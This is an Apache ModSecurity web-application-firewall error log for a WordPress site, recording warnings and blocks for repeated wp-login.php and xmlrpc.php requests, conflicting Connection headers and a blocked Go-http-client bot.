[Fri Jan 23 16:18:45.050289 2026] [:error] [pid 64230:tid 64249] [client 43.164.195.17:41702] [client 43.164.195.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXMu5a2JXmVjD91caKKP5AAAAVA"]
[Fri Jan 23 16:32:28.409142 2026] [:error] [pid 11732:tid 11757] [client 66.175.44.39:34978] [client 66.175.44.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.175.44.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXMyHOfd54xxq04JKuM_nwAAANc"]
[Fri Jan 23 16:41:19.281773 2026] [:error] [pid 62368:tid 62391] [client 66.175.44.39:41808] [client 66.175.44.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXM0LyeMzKRnyYLMANNZ2gAAARQ"]
[Fri Jan 23 16:41:21.374104 2026] [:error] [pid 62368:tid 62384] [client 66.175.44.39:41808] [client 66.175.44.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXM0MSeMzKRnyYLMANNZ3AAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 23 17:02:42.433584 2026] [:error] [pid 11606:tid 11635] [client 149.50.150.145:33770] [client 149.50.150.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.50.150.145, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXM5MlnjAJqfHEQLcshZaAAAABQ"]
[Fri Jan 23 17:02:44.792804 2026] [:error] [pid 11606:tid 11636] [client 149.50.150.145:33770] [client 149.50.150.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.50.150.145, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXM5NFnjAJqfHEQLcshZbQAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 23 17:38:07.625492 2026] [:error] [pid 11606:tid 11626] [client 98.70.76.51:43494] [client 98.70.76.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 98.70.76.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXNBf1njAJqfHEQLcshg0gAAAAs"]
[Fri Jan 23 17:49:43.474924 2026] [:error] [pid 11608:tid 11683] [client 167.172.219.235:54064] [client 167.172.219.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.219.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXNEN74alK6RZLlMctqlpwAAAIs"]
[Fri Jan 23 18:26:56.016819 2026] [:error] [pid 11732:tid 11739] [client 104.28.163.82:16971] [client 104.28.163.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aXNM8Ofd54xxq04JKuNfXgAAAMU"]
[Fri Jan 23 18:27:38.337400 2026] [:error] [pid 62368:tid 62380] [client 209.42.21.53:37354] [client 209.42.21.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.42.21.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXNNGieMzKRnyYLMANN0RgAAAQk"]
[Fri Jan 23 18:27:41.292085 2026] [:error] [pid 62368:tid 62379] [client 209.42.21.53:37354] [client 209.42.21.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.42.21.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXNNHSeMzKRnyYLMANN0TQAAAQg"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 23 18:54:29.009866 2026] [:error] [pid 11732:tid 11738] [client 167.172.219.235:45508] [client 167.172.219.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.219.235, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXNTZefd54xxq04JKuNngAAAAMQ"]
[Fri Jan 23 18:54:30.985708 2026] [:error] [pid 11732:tid 11742] [client 167.172.219.235:45508] [client 167.172.219.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.219.235, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXNTZufd54xxq04JKuNnhAAAAMg"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 23 19:35:28.300724 2026] [:error] [pid 64912:tid 64925] [client 61.12.66.2:48768] [client 61.12.66.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 61.12.66.2, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXNdALem6jVGKqodwtLs4wAAAYs"]
[Fri Jan 23 19:35:30.195598 2026] [:error] [pid 64912:tid 64936] [client 61.12.66.2:48768] [client 61.12.66.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 61.12.66.2, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXNdArem6jVGKqodwtLs5wAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 23 20:57:04.907654 2026] [:error] [pid 1517:tid 1538] [client 178.23.187.14:38924] [client 178.23.187.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.23.187.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXNwICZNw8-8ydKHCJuF-gAAAdI"]
[Fri Jan 23 20:57:09.235001 2026] [:error] [pid 1517:tid 1524] [client 178.23.187.14:38924] [client 178.23.187.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.23.187.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXNwJSZNw8-8ydKHCJuF_wAAAcQ"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 23 20:58:29.957354 2026] [:error] [pid 11608:tid 11693] [client 167.172.219.235:47380] [client 167.172.219.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.219.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXNwdb4alK6RZLlMctrO2AAAAJU"]
[Fri Jan 23 21:22:14.218124 2026] [:error] [pid 11732:tid 11753] [client 68.178.173.202:60468] [client 68.178.173.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.178.173.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXN2Bufd54xxq04JKuOMXgAAANM"]
[Fri Jan 23 21:46:26.418531 2026] [:error] [pid 64912:tid 64934] [client 178.23.187.14:58000] [client 178.23.187.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.23.187.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXN7srem6jVGKqodwtIHygAAAZQ"]
[Fri Jan 23 21:56:58.533346 2026] [:error] [pid 64230:tid 64235] [client 185.220.100.240:36422] [client 185.220.100.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.220.100.240, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXN-Kq2JXmVjD91caKLQXgAAAUI"], referer: https://gigfragments.org/xmlrpc.php?rsd
[Fri Jan 23 21:58:38.587076 2026] [:error] [pid 11732:tid 11758] [client 179.176.229.205:54629] [client 179.176.229.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.176.229.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXN-jufd54xxq04JKuOU8gAAANg"]
[Fri Jan 23 22:51:55.926259 2026] [:error] [pid 11732:tid 11742] [client 116.202.145.93:38274] [client 116.202.145.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.202.145.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXOLC-fd54xxq04JKuOgjAAAAMg"]
[Fri Jan 23 22:51:59.881488 2026] [:error] [pid 11732:tid 11757] [client 116.202.145.93:38274] [client 116.202.145.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.202.145.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXOLD-fd54xxq04JKuOgjwAAANc"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 23 23:06:42.853721 2026] [:error] [pid 11608:tid 11675] [client 121.229.185.160:56516] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXOOgr4alK6RZLlMctrmcQAAAIM"]
[Fri Jan 23 23:15:20.195949 2026] [:error] [pid 11608:tid 11687] [client 103.216.118.192:54098] [client 103.216.118.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.216.118.192, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXOQiL4alK6RZLlMctrn4AAAAI8"]
[Fri Jan 23 23:39:03.187928 2026] [:error] [pid 64912:tid 64919] [client 69.163.140.2:50938] [client 69.163.140.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.140.2, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXOWF7em6jVGKqodwtIZYQAAAYU"]
[Fri Jan 23 23:45:04.977490 2026] [:error] [pid 11732:tid 11741] [client 163.44.185.98:54624] [client 163.44.185.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.44.185.98, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXOXgOfd54xxq04JKuOsVAAAAMc"]
[Fri Jan 23 23:45:11.091493 2026] [:error] [pid 11732:tid 11753] [client 163.44.185.98:54624] [client 163.44.185.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.44.185.98, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXOXh-fd54xxq04JKuOsXAAAANM"], referer: https://gigfragments.org/wp-login.php
[Fri Jan 23 23:51:06.039007 2026] [:error] [pid 11732:tid 11750] [client 148.113.37.117:56760] [client 148.113.37.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.37.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXOY6ufd54xxq04JKuOteAAAANA"]
[Fri Jan 23 23:57:40.733720 2026] [:error] [pid 1517:tid 1523] [client 72.167.227.237:48950] [client 72.167.227.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 72.167.227.237, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXOadCZNw8-8ydKHCJu6cAAAAcM"]
[Sat Jan 24 00:09:49.916583 2026] [:error] [pid 64230:tid 64245] [client 149.50.150.145:58322] [client 149.50.150.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.50.150.145, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXOdTa2JXmVjD91caKLmgQAAAUw"]
[Sat Jan 24 00:09:53.755514 2026] [:error] [pid 1517:tid 1522] [client 149.50.150.145:38370] [client 149.50.150.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.50.150.145, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXOdUSZNw8-8ydKHCJu9ywAAAcI"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 00:41:52.920282 2026] [:error] [pid 11732:tid 11755] [client 182.16.245.210:33886] [client 182.16.245.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 182.16.245.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXOk0Ofd54xxq04JKuO5YwAAANU"]
[Sat Jan 24 00:41:56.539760 2026] [:error] [pid 11732:tid 11752] [client 182.16.245.210:33886] [client 182.16.245.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 182.16.245.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXOk1Ofd54xxq04JKuO5bAAAANI"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 00:45:53.419411 2026] [:error] [pid 11606:tid 11632] [client 154.12.118.230:41134] [client 154.12.118.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.12.118.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXOlwVnjAJqfHEQLcsitAgAAABE"]
[Sat Jan 24 01:38:46.214561 2026] [:error] [pid 11608:tid 11684] [client 149.50.150.145:37592] [client 149.50.150.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.50.150.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXOyJr4alK6RZLlMctoF8gAAAIw"]
[Sat Jan 24 01:59:59.448356 2026] [:error] [pid 11608:tid 11696] [client 103.82.22.235:49588] [client 103.82.22.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.82.22.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXO3H74alK6RZLlMctoJ_AAAAJg"]
[Sat Jan 24 02:20:53.318508 2026] [:error] [pid 64230:tid 64251] [client 66.175.44.20:52822] [client 66.175.44.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXO8Ba2JXmVjD91caKL-vQAAAVI"]
[Sat Jan 24 02:20:55.969098 2026] [:error] [pid 1517:tid 1539] [client 66.175.44.20:52824] [client 66.175.44.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXO8ByZNw8-8ydKHCJvncAAAAdM"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 02:44:37.958658 2026] [:error] [pid 11606:tid 11622] [client 103.195.238.44:42090] [client 103.195.238.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.195.238.44, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPBlVnjAJqfHEQLcsjE8wAAAAc"]
[Sat Jan 24 02:44:40.084192 2026] [:error] [pid 11606:tid 11640] [client 103.195.238.44:42090] [client 103.195.238.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.195.238.44, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPBmFnjAJqfHEQLcsjE9AAAABg"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 02:54:10.336075 2026] [:error] [pid 11607:tid 11647] [client 162.19.11.250:51936] [client 162.19.11.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.19.11.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPD0gucTAUsUUzKw5dWpwAAAEM"]
[Sat Jan 24 02:54:17.194157 2026] [:error] [pid 11607:tid 11664] [client 162.19.11.250:51936] [client 162.19.11.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.19.11.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPD2QucTAUsUUzKw5dWsQAAAFM"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 03:06:24.188481 2026] [:error] [pid 11607:tid 11654] [client 4.204.8.222:54090] [client 4.204.8.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.204.8.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXPGsAucTAUsUUzKw5daXwAAAEo"]
[Sat Jan 24 03:32:35.041619 2026] [:error] [pid 40902:tid 40930] [client 4.204.8.222:44012] [client 4.204.8.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.204.8.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPM0wSCceZpurDgOevheAAAABI"]
[Sat Jan 24 03:32:36.772808 2026] [:error] [pid 40902:tid 40913] [client 4.204.8.222:44012] [client 4.204.8.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.204.8.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPM1ASCceZpurDgOevhewAAAAE"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 03:38:11.621916 2026] [:error] [pid 41009:tid 41035] [client 162.19.11.250:17668] [client 162.19.11.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.19.11.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXPOI2rewfoFUDD3TM054gAAANg"]
[Sat Jan 24 03:57:46.756916 2026] [:error] [pid 41009:tid 41011] [client 4.204.8.222:34074] [client 4.204.8.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.204.8.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPSumrewfoFUDD3TM1DpgAAAMA"]
[Sat Jan 24 03:57:51.592510 2026] [:error] [pid 41009:tid 41025] [client 4.204.8.222:34074] [client 4.204.8.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.204.8.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPSv2rewfoFUDD3TM1DtAAAAM4"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 04:48:13.261812 2026] [:error] [pid 40903:tid 40953] [client 178.128.201.28:49872] [client 178.128.201.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.201.28, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPejRxw3xvyqXTcGl-osAAAAE4"]
[Sat Jan 24 04:48:14.914462 2026] [:error] [pid 40903:tid 40956] [client 178.128.201.28:49872] [client 178.128.201.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.201.28, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPejhxw3xvyqXTcGl-oswAAAFE"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 05:00:22.108628 2026] [:error] [pid 40905:tid 40972] [client 154.62.226.86:52796] [client 154.62.226.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.62.226.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPhZl3rUAneNkh7mXDr6wAAAIY"]
[Sat Jan 24 05:00:25.003367 2026] [:error] [pid 22900:tid 22923] [client 154.62.226.86:52798] [client 154.62.226.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.62.226.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXPhaVr6h1PpdlYV7gUOZwAAARQ"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 24 05:16:32.841838 2026] [:error] [pid 40903:tid 40955] [client 43.140.247.223:56396] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXPlMBxw3xvyqXTcGl-wYAAAAFA"]
[Sat Jan 24 05:21:54.860993 2026] [:error] [pid 40903:tid 40961] [client 209.235.136.139:50118] [client 209.235.136.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.235.136.139, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXPmchxw3xvyqXTcGl-xhQAAAFY"]
